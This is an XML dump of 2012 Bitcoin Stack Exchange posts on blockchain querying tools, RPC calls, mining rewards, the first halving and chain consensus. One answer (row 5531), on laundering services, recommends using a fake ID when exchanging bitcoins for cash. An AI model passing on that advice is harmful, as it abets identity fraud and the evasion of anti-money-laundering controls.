  <row Id="5519" PostTypeId="2" ParentId="5518" CreationDate="2012-11-27T09:23:33.970" Score="8" Body="&lt;p&gt;&lt;code&gt;bitcoind&lt;/code&gt; doesn't give you a way to query this, but by looking at the files it writes to disk, we can build our own tools that let us look at this. One such tool is Abe, and this is how you use it:&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Installation (Ubuntu)&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;I'm assuming you have the standard bitcoin client running already.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Download &lt;a href=&quot;https://github.com/jtobey/bitcoin-abe&quot; rel=&quot;nofollow&quot;&gt;Abe&lt;/a&gt;. Unpack it, and run &lt;code&gt;python setup.py install&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go into &lt;code&gt;abe.conf&lt;/code&gt; and add these lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# SQLite3 example:&#xA;dbtype = sqlite3&#xA;connect-args = abe.sqlite&#xA;# Specify port and/or host to serve HTTP instead of FastCGI:&#xA;port 2750&#xA;host localhost&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;A note about firstbits&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;If you want to do firstbits lookups, you need to add one more line to the config.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;use-firstbits&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that you need to do this &lt;em&gt;before&lt;/em&gt; you run abe, or else you'll need to run Abe.reconfigure too.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Back to the normal installation&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Run &lt;code&gt;python -m Abe.abe --config /path/to/abe.conf&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should see the screen get spammed with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;block_tx 38944 39254&#xA;commit&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At time of writing, this will need to count up to &lt;a href=&quot;http://blockexplorer.com/q/getblockcount&quot; rel=&quot;nofollow&quot;&gt;220,000&lt;/a&gt;. This took me about 8 hours. After the first startup, it will load in about a second.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try opening &lt;code&gt;http://localhost:2750/&lt;/code&gt;. If it shows no data, then there was an error. The output that the abe command produced immediately before saying that it was listening should give you some sort of insight.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now your application can issue http requests to find out about the blockchain! There is a link to some documentation (&lt;code&gt;http://localhost:2750/q&lt;/code&gt;), but you'll mostly be interested in &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;getreceivedbyaddress&lt;/code&gt; (&lt;code&gt;http://localhost:2750/chain/Bitcoin/q/getreceivedbyaddress/ADDRESS&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;getsentbyaddress&lt;/code&gt; (&lt;code&gt;http://localhost:2750/chain/Bitcoin/q/getsentbyaddress/ADDRESS&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;fb&lt;/code&gt; (&lt;code&gt;http://localhost:2750/q/fb/ADDRESS&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-11-17T17:52:21.870" LastActivityDate="2015-11-17T17:52:21.870" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5520" PostTypeId="2" ParentId="5518" CreationDate="2012-11-27T11:01:26.633" Score="1" Body="&lt;p&gt;You can use the API to access each block, and then Raw Transactions to access each transaction within each block.  It isn't trivial but it can be done.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Raw_Transactions&quot; rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/Raw_Transactions&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-11-27T11:01:26.633" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5521" PostTypeId="1" CreationDate="2012-11-27T14:37:55.450" Score="2" ViewCount="768" Body="&lt;p&gt;I read that Satoshidice uses one of the outputs from the bet transaction to fund the response transaction. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Can anyone provide explanation/reference to how bitcoin handles such transactions.&lt;/li&gt;&#xA;&lt;li&gt;What is the rationale of allowing such transactions? &lt;/li&gt;&#xA;&lt;li&gt;If the protocol did not allow unconfirmed unspent outputs to be used, would that make bitcoin unusable?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2075" LastEditorUserId="2075" LastEditDate="2012-11-27T14:52:13.220" LastActivityDate="2012-11-27T17:50:44.237" Title="How does bitcoin handle unspent outputs from fresh transactions?" Tags="|transactions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5522" PostTypeId="2" ParentId="5521" CreationDate="2012-11-27T17:50:44.237" Score="1" Body="&lt;p&gt;Bitcoin protocol doesn't care how many confirmations a transaction has. A user can choose any number of blocks that has to be mined on top of the transaction before considering it confirmed, or in case of Satoshidice it simply doesn't care.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin protocol does care that source addresses of a transaction has all required coins to transfer to destination addresses, in other words a transaction has to have all it's inputs to be valid and the number of coins those inputs have must be greater or equal to number of coins in outputs. Therefore if an attacker successfully double spends his transaction to Satoshidice it will also invalidate winning transaction from Sathoshidice, because one of the inputs of winning transaction is the original transaction from the attacker to Sathoshidice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer the question why bitcoin protocol allows it, consider two transactions &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;From address A to address B&lt;/li&gt;&#xA;&lt;li&gt;From address B to address C&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;To think about second transaction as confirmed you need to wait a certain number of block to be mined on top of it and it doesn't matter how many block were mined on top of the first transaction because it doesn't make second transaction any more secure. Therefore both transactions can appear in the same block and that's completely fine. &lt;/p&gt;&#xA;" OwnerUserId="108" LastActivityDate="2012-11-27T17:50:44.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5523" PostTypeId="2" ParentId="5515" CreationDate="2012-11-27T18:08:16.480" Score="2" Body="&lt;p&gt;&lt;strong&gt;Variable difficulty mining:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are mining at a pool with a higher difficulty, then each share (proof-of-work) is worth more on average. Proving that you worked very hard is worth more than proving that you worked a little bit. Some pools now use variable difficulty, which means the difficulty can change over time. One share at difficulty X has the same average expected return as X shares of difficulty 1. It may be easiest to think of everything in terms of difficulty 1 shares.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Average value of a share (proof-of-work):&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically each (difficulty 1) share's value is the block reward divided by the network difficulty. That's the average income of a block multiplied by the chance that the share creates a block (one divided by network difficulty). But keep in mind that transaction fees are part of the block reward. That's the bitcoin value of each share. If the pool uses merged mining the share would also have a value for each merged coin. That should also be included.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I write this the new coins minted per block is about to drop from 50 to 25 BTC in just a few hours. Looking at &lt;a href=&quot;http://blockchain.info/charts/transaction-fees&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/charts/transaction-fees&lt;/a&gt; the total transaction fees are roughly 25 BTC per day. With roughly 144 blocks per day, that is 0.17 BTC per block, making the total inccome for a block approximately 25.17 BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With a difficulty of 3438908.96015914 that gives us an average value per share of 25.17/3438908.96015914 = 0.0000073191818369147015 BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming a pool that also gives you namecoins through merged mining, a share would have an additional value of approx. 50/1119016.08618347 = 0.000044682110129918345 NMC. With namecoins currently trading at 225 NMC to 1 BTC that puts the total value of a share at 0.000007517768993047672 BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;0.000007517768993047672 BTC per share, as opposed to&#xA;0.000007269747553550557 BTC which you get with the simplified formula (minted coins divided by difficulty). This &lt;strong&gt;3.4% difference&lt;/strong&gt; can be worth noting as many would have you believe that the simpler formula shows you the full value of a share.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; I run a pool that pays out transaction fees and namecoins.&lt;/p&gt;&#xA;" OwnerUserId="141" LastEditorUserId="141" LastEditDate="2012-11-27T18:18:16.680" LastActivityDate="2012-11-27T18:18:16.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5524" PostTypeId="2" ParentId="5503" CreationDate="2012-11-27T18:31:58.017" Score="2" Body="&lt;p&gt;You can give someone the necessary credentials to mine on your behalf without them gaining access to the bitcoins. Pools don't use the worker passwords sent with &lt;code&gt;getwork&lt;/code&gt; for logging into the website and controlling where coins are sent. They are used only for fetching work and delivering the results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you say, basic auth over unencrypted HTTP is already unsafe handling of the worker passwords. You have to assume that those passwords are compromised anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the most damage someone can do is to overload a pool server using your worker credentials. I suppose this could get your account temporarily banned, but I'm sure a pool operator would be understanding in this case. I've never heard of anything like that happening either.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2012-11-27T18:31:58.017" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5526" PostTypeId="2" ParentId="5518" CreationDate="2012-11-27T19:03:16.760" Score="6" Body="&lt;p&gt;I am actually working on doing this myself for a project, like the above poster said you can use the bitcoind API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get the information on addresses you don't own the commands &quot;getrecievedbyaddress&quot; and so on wont work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will need to work your way through the blockchain which can take a long time and i would not recommend doing it manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the order of commands you would follow in order to do follow the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;getblockcount - this will give you the total number of blocks in the network&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now starts the endless loop of going from block to block with the following command - getblockhash {index} index the is block height. For example when you do block count you might see something like 200890. So the index of the last block is 200890 so you would input &lt;code&gt;getblockhash 200890&lt;/code&gt; which will return the hash number of a block.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;getblock {hash}&lt;/code&gt; This command now gives you all the transactions within the block. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now your going to use each transaction ID in the block with the following command &lt;code&gt;getrawtransaction {txid}&lt;/code&gt; This is going to give you a list of the inputs and outputs of each transaction. Here you will see the addresses which received and sent within that transaction and the amount involved.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now you'll basically loop this until you've built up a database of the entire blockchain, their is no easy way to do it unfortunately. I am just starting out on all these steps so i may have missed something, but the general idea is thier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully you find that block of text useful in some way =)&lt;/p&gt;&#xA;" OwnerUserId="2312" LastActivityDate="2012-11-27T19:03:16.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5527" PostTypeId="2" ParentId="5518" CreationDate="2012-11-27T21:24:52.897" Score="2" Body="&lt;p&gt;To see all transactions recently made (by anyone on the network), you can use the &lt;code&gt;getrawmemorypool&lt;/code&gt; RPC call, it will give you a list of all txids in the memory pool (not yet in a block). Those can be passed to &lt;code&gt;getrawtransaction&lt;/code&gt; to retrieve the actual transaction. &lt;code&gt;getblock&lt;/code&gt; can be used to see the transactions in recent blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Querying the unspent outputs by address (required to calculate the &quot;balance&quot;) requires an index from addresses to txids. Bitcoind does not maintain such an index, as it is not required for normal operation, but it may be added as an optional feature somewhere in the future.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2012-11-27T21:24:52.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5528" PostTypeId="2" ParentId="5465" CreationDate="2012-11-28T02:08:02.773" Score="0" Body="&lt;p&gt;PayPal it is a Bank, it became a Luxembourg Bank in 2007 (&#xA;&lt;a href=&quot;http://tamebay.com/2007/05/paypal-becomes-a-bank-no-longer-under-fsa.html&quot; rel=&quot;nofollow&quot;&gt;http://tamebay.com/2007/05/paypal-becomes-a-bank-no-longer-under-fsa.html&lt;/a&gt; )&lt;/p&gt;&#xA;" OwnerUserId="1815" LastActivityDate="2012-11-28T02:08:02.773" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5529" PostTypeId="1" CreationDate="2012-11-28T04:16:58.180" Score="8" ViewCount="547" Body="&lt;p&gt;Some people have described a bitcoin as a commodity, but every commodity I see on &lt;a href=&quot;http://en.wikipedia.org/wiki/Commodity&quot;&gt;this Wikipedia page&lt;/a&gt; seem to have a non-financial purpose, which also gives it a financial value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can be done with a &quot;Bitcoin&quot; (if anything) that has a non-financial purpose?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2012-11-29T02:40:47.837" Title="What can be done with a bitcoin besides exchanging it for goods or services?" Tags="|value|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5530" PostTypeId="2" ParentId="5529" CreationDate="2012-11-28T04:41:42.743" Score="5" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;A Bitcoin can be used to permanently trace the association between different public keys.  For example a user can send a transaction to a second user and publicly and permanently link the accounts.  This may have utility in Web Of Trust &lt;a href=&quot;https://bitcoin.stackexchange.com/q/641/1878&quot;&gt;scenarios&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The low value bits of an individual bitcoin &lt;a href=&quot;https://bitcoin.stackexchange.com/q/5422/1878&quot;&gt;can cheaply store metadata.&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Saving them as a &lt;a href=&quot;https://bitcoin.stackexchange.com/q/4696/1878&quot;&gt;collectors item&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Sharing (p2p style) a &lt;a href=&quot;https://bitcoin.stackexchange.com/q/3444/1878&quot;&gt;small amount of data&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2012-11-28T04:41:42.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5531" PostTypeId="2" ParentId="72" CreationDate="2012-11-28T05:36:22.890" Score="3" Body="&lt;p&gt;It's funny, but Bitcoin laundering services are most likley used by people wishing to do illegal activities. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So all the Bitcoin transactions on that laundering site are probably illegal and are criminal. Even though Fred would be caught for buying marijuana for Bob, whilst Bob would be caught for buying coke for Fred.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So all the police have to do is target everyone on the Bitcoin laundering website instead of one person. Then everyone will be caught paying for someone else's criminal transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless the Bitcoin laundering site also had a twin sister site that did legal exchanges, and they mixed both of them up together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems very much like normal money laundering services that banks offer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The key is not having your real identity connected to any of the transactions, and then when exchanging your bitcoins for real money, using a fake ID to do so.&lt;/p&gt;&#xA;" OwnerUserId="2315" LastEditorUserId="1405" LastEditDate="2014-02-19T21:46:58.877" LastActivityDate="2014-02-19T21:46:58.877" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5532" PostTypeId="2" ParentId="5529" CreationDate="2012-11-28T06:38:16.697" Score="3" Body="&lt;p&gt;Sign messages ensuring that the message came only from the owner of that address.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-11-28T06:38:16.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5534" PostTypeId="1" AcceptedAnswerId="5535" CreationDate="2012-11-28T16:28:31.867" Score="21" ViewCount="1636" Body="&lt;p&gt;When was block 210000, the first block to feature halved 25BTC reward, generated and who solved it?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="5406" LastEditDate="2016-02-08T15:34:57.313" LastActivityDate="2016-02-08T15:34:57.313" Title="When was block 210000 generated and who solved it?" Tags="|blockchain|history|reward-schedule|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5535" PostTypeId="2" ParentId="5534" CreationDate="2012-11-28T16:28:31.867" Score="21" Body="&lt;p&gt;According to &lt;a href=&quot;http://blockchain.info/block-index/322335/000000000000048b95347e83192f69cf0366076336c639f9b7228e9ba171342e&quot;&gt;blockchain.info&lt;/a&gt;, the block 210000 was solved on 2012-11-28 15:24:38 GMT, and was relayed by Slush's Pool. The pool's &lt;a href=&quot;http://mining.bitcoin.cz/stats/&quot;&gt;Stats&lt;/a&gt; page also claims to have solved that block. It has also been stated that the block was solved by pool's user by the nickname of laughingbear.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2012-11-29T06:52:16.230" LastActivityDate="2012-11-29T06:52:16.230" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5536" PostTypeId="1" CreationDate="2012-11-28T17:08:07.297" Score="5" ViewCount="720" Body="&lt;p&gt;I'm interested in mixing services (0% taint) that are compliant with the most conservative anti-money laundering laws.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My goal is to have anonymity between peers in a transaction, but to remain accountable to government oversight.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="1878" LastEditDate="2012-11-29T18:52:30.553" LastActivityDate="2014-07-01T20:36:02.943" Title="Are there mixing services or online wallets that are explicitly compliant with anti-laundering laws?" Tags="|legal|privacy|e-wallet|business|money-laundering|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5537" PostTypeId="2" ParentId="5529" CreationDate="2012-11-29T02:40:47.837" Score="1" Body="&lt;p&gt;There also seems to be an underlying question here about whether Bitcoin is a commodity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are multiple definitions of commodity, one of which (I think the one you mean) being a good which is fungible (ie one unit of the item is essentially the same as all the others, such as grains of wheat), but also that it is a marketable item produced to satisfy wants or needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://goodmorningeconomics.wordpress.com/monetary-economics-1-money-as-a-good/&quot; rel=&quot;nofollow&quot;&gt;This page&lt;/a&gt; discusses money as a good and proposes that &quot;A good can be a Medium of Exchange but not a Unit of Account&quot;. Bitcoin has big advantages as a medium of exchange, but because it (currently) experiences high volatility it isn't such a great unit of account compared with most govt currencies. For example, most people wouldn't really want to owe a balance of bitcoins for their mortgage in case they ended up having to pay back several times the dollar value they borrowed thanks to changes in the BTC/$ exchange rate. For the same reason, most retailers that accept Bitcoin probably automatically adjust their prices based on the exchange rate, rather than fixing the price in bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, even though Bitcoin isn't a great unit of account, it's doesn't necessarily mean it should be considered a commodity. &lt;a href=&quot;http://cij.inspiriting.com/?p=12&quot; rel=&quot;nofollow&quot;&gt;This article&lt;/a&gt; discusses why gold should not be considered a commodity, and the scarcity and growing popularity of gold give it a very similar market dynamic to Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My view is that the comparison with gold is especially apt, since there is a small fundamental demand where Bitcoin can fulfill a want or need (just like gold), yet by far the majority of demand is speculative. This means it shouldn't be treated as a commodity.&lt;/p&gt;&#xA;" OwnerUserId="516" LastActivityDate="2012-11-29T02:40:47.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5539" PostTypeId="2" ParentId="5483" CreationDate="2012-11-29T07:40:10.500" Score="4" Body="&lt;p&gt;If the coins it is using have a lot of confirmations, the less likely a fee is going to be needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the instance reported here, when the payment was sent using the Bitcoin.org client the funds had many confirmations and no fee was required. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a payment for that same amount was then created using Armory, the funds did not have many confirmations and thus the client insisted on there being a fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is not a difference between Armory and the Bitcoin-Qt client.  This is a difference between sending coins which had lots of confirmations versus sending coins which had fewer confirmations.   The same thing would have happened regardless of which of the two clients was being used.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-11-29T07:40:10.500" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5540" PostTypeId="1" AcceptedAnswerId="5542" CreationDate="2012-11-29T07:55:49.427" Score="28" ViewCount="17654" Body="&lt;p&gt;What does the term &quot;Longest chain&quot; mean, as there is only one 'right' blockchain exists? How another longer chain would make the 'right' chain invalid?&lt;/p&gt;&#xA;" OwnerUserId="2229" LastEditorUserId="5406" LastEditDate="2018-05-04T16:45:40.107" LastActivityDate="2018-05-04T16:45:40.107" Title="What does the term &quot;Longest chain&quot; mean?" Tags="|blockchain|mining-theory|consensus|terminology|best-chain|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5541" PostTypeId="2" ParentId="5540" CreationDate="2012-11-29T11:08:50.587" Score="13" Body="&lt;p&gt;Imagine that the blockchain is 210000 blocks long and TWO miners both find valid blocks within a few seconds of each other and broadcast them to the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is perfectly normal as the Bitcoin network is peer to peer and global.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You now have two chains, each of length 210001. Neither of these are longer than each other. Some bitcoind nodes will see the first miner's block and some bitcoind nodes will see the second.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Temporarily you have two forks of the blockchain, each of length 210001 blocks long. They are identical for 210000 blocks, but the 210001st is different on the two forks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometime later another miner finds another valid block, the 210002nd block, and that will be attached to exactly one of the forks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This chain is now the longest at 210002 blocks and becomes the longest chain. It becomes the &quot;definitive&quot; blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(The transactions in the alternate fork don't disappear - they simply get put back into the pool of unconfirmed transactions and miners will put them into a subsequent block).&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2012-11-29T11:08:50.587" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5542" PostTypeId="2" ParentId="5540" CreationDate="2012-11-29T11:24:15.820" Score="36" Body="&lt;p&gt;Bitcoin's block chain system is really two quite separate systems, and they are easily confused. The first one is the &lt;em&gt;block tree&lt;/em&gt; and the second is the &lt;em&gt;active chain&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;block tree&lt;/em&gt; consists of all valid blocks whose entire ancestry is known, up to the genesis block. The rules for validness include no double spending, valid signatures, no introduction of more currency than allowed, ... These are the network rules, and every full Bitcoin node verifies them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;active chain&lt;/em&gt; is one path from genesis block at the top to some leaf node at the bottom of the block tree. &lt;strong&gt;Every&lt;/strong&gt; such path is a valid choice, but nodes are expected to pick the one with the most &quot;work&quot; in it they know about (where work is loosely defined as the sum of the difficulties). Relativity and technological constraints prevent us from doing instant communication across the globe, so two nodes can not be expected to pick the same chain as the active one. This is no problem: the mining mechanism makes sure that the chance two nodes disagree about blocks in the past decreases exponentially as they are older.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So no, there is not one &quot;right chain&quot;, there are many. Nodes choose for themselves, but the system is designed to make sure consensus arises quickly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rules in practice are this: when a new block arrives, and it extends the previous active chain, we just append it to the active chain. If not, it depends on whether the branch it extends now has more work than the currently active branch. If not, we store the block and stop. If it does have more work, we do a so called &quot;reorganisation&quot;: deactivating blocks from the old branch, and activating blocks from the new branch.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2012-11-29T11:24:15.820" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5543" PostTypeId="1" CreationDate="2012-11-29T20:05:46.423" Score="4" ViewCount="354" Body="&lt;p&gt;First post.  I must say in advance thanks to everyone for all the great conversation and help and software so far.  It's really helped me get familiar with bitcoins and bitcoin mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a question about functionality of the Bitcoin network and how mining credits are applied to the correct person.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assume a person is solo mining.  That is, one computer is doing the mining.  IT may be running a pool, but that's not relevant for this question.  So, lets assume a solo miner generates a few blocks and they get accepted. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the network approves a block that has been created, how is the credit for the block creation (50 bit coins, soon to be 25) applied to the miner's wallet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say that a GPU miner, like DiabloMiner is running, and getting its work from Bitcoin-QT.  How does Bitcoin-QT, detect the mining credit of 50/25 bitcoins and send it to the correct miner's address?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2326" LastEditorUserId="5406" LastEditDate="2016-03-31T10:24:24.600" LastActivityDate="2016-03-31T10:24:24.600" Title="How does the network apply credit for created blocks?" Tags="|bitcoin-core|block|mining-reward|coinbase-transaction|blockchain-wallet-app|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5544" PostTypeId="2" ParentId="5543" CreationDate="2012-11-29T20:19:52.443" Score="4" Body="&lt;p&gt;Miner has to supply the Bitcoin address for block reward. Then, when the block is mined, the special &quot;credit&quot; transaction is permanently stored in found block, creating given amount (25 BTC, was 50 BTC) to given address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some pools (Eligius or P2Pool) use this feature and create a lot of credit transactions, so that when block is found, all participants will receive their respective share.&lt;/p&gt;&#xA;" OwnerUserId="2327" LastActivityDate="2012-11-29T20:19:52.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5545" PostTypeId="1" AcceptedAnswerId="5546" CreationDate="2012-11-29T21:24:06.297" Score="9" ViewCount="1343" Body="&lt;p&gt;The first Halving Day was November 28, 2012, when &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/5534/when-was-block-210000-generated-and-who-solved-it&quot;&gt;block 210000 was generated&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How many more Halving Days will there be?&lt;/p&gt;&#xA;" OwnerUserId="1409" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2020-02-13T19:28:20.393" Title="How many Halving Days will there be?" Tags="|mining-reward|reward-schedule|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5546" PostTypeId="2" ParentId="5545" CreationDate="2012-11-29T22:33:58.807" Score="10" Body="&lt;p&gt;There will be 32 more if the precision doesn't increase. If Bitcoin lasts this long (very unlikely), precision probably will be increased.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2012-11-29T22:33:58.807" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5547" PostTypeId="2" ParentId="5543" CreationDate="2012-11-30T11:13:05.477" Score="2" Body="&lt;p&gt;When creating a block, the first transaction in a block is always a coinbase transaction (a transaction with input of 0). In this transaction, the miner specifies output just like in a normal transaction - destination address, amount and so forth. This transaction is treated more or less just like every other transaction by the clients - it can be spent and so forth.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-11-30T11:13:05.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5548" PostTypeId="1" AcceptedAnswerId="5549" CreationDate="2012-11-30T13:06:28.660" Score="5" ViewCount="435" Body="&lt;p&gt;&lt;a href=&quot;http://mineforeman.com/2012/11/30/dissecting-bitcoin-block-210000/&quot;&gt;This article&lt;/a&gt; claims &lt;code&gt;there are now 10,499,925 bitcoin&lt;/code&gt; (at the time of the reward drop from 50 to 25).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Weren't there supposed to be exactly 21,000,000 / 2 = 10,500,000 BTC mined at this point? What am I missing?&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2012-11-30T13:14:30.297" Title="How many Bitcoins existed when block 209,999 was mined?" Tags="|blockchain|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
